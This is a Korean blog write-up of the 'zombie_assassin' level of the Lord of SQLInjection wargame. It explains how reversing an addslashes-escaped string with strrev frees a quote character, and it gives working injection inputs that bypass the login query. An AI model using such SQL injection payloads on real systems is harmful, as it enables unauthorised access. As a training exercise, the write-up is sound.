-
[LOS] zombie_assassinWargame/Lord of SQLInjection 2019. 7. 9. 01:40728x90
[zombie_assassin] https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php
id와 pw가 addslashes와 strrev함수 처리된다.
strrev()
입력 받은 문자열을 뒤집어 리턴하는 함수addslashes 처리되어도 strrev함수에 의해 '를 입력할 수 있게 된다.
?id='
addslashes($_GET['id']) : id = \'
strrev( id ) : '\
그러나,
select id from prob_zombie_assassin where id=''\' and pw=''
작은 따옴표를 입력할 수 있지만, 위 쿼리문처럼 완벽하지 않은 쿼리문으로 에러가 난다.
succubus 처럼 우회하면 될 것 같다.
select id from prob_zombie_assasin where id ='\' and pw=' or 1#'
id에 '외에 addslashes함수로 \가 처리되는 문자를 id의 값으로 넣어주면 될 것이다.
php addslashes()
[php manual] https://www.php.net/manual/en/function.addslashes.phpaddslashes함수는 ' " \ NULL에 \처리 해준다.
\는 \\로 문자로 인식되어 id의 '를 문자로 인식하게 하지 못한다.
select id from prob_zombie_assassin where id='\\' and pw=''
따라서,
id의 값으로 "나 NULL(%00)을 입력해주어야 한다.
select id from prob_zombie_assassin where id='"\' and pw=''
id의 '가 \처리되어 문자로 인식되면서 pw의 '까지 id의 입력 값으로 인식된다.
?id="&pw=%231 ro
?id=%00&pw=%231 ro
반응형'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] xavis (0) 2020.03.19 [LOS] nightmare (0) 2019.07.13 [LOS] zombie_assassin (2) 2019.07.09 [LOS] succubus (0) 2019.07.06 [LOS] assassin (0) 2019.07.06 [LOS] giant (0) 2019.07.05 댓글 2
$guery = "select ~ from ~ where id = ' "\' 이렇게되면, 쿼리 스트링이 큰따옴표로 시작되는데, 입력값으로 입력한 큰따옴표가 쿼리스트링의 마지막 큰따옴표로 작용하지않을까요
2020.12.22 12:16 신고Grini
안녕하세요. 질문 감사합니다.
2020.12.29 02:21 신고쿼리스트링에서 입력된 값은 그냥 스트링(문자)이기 때문에 쿼리스트링의 큰 따옴표(특수 기호)와는 다릅니다. 그렇기 때문에 입력 값인 큰 따옴표(문자)가 쿼리스트링의 마지막 큰 따옴표(특수 기호)로 작용하지 않습니다.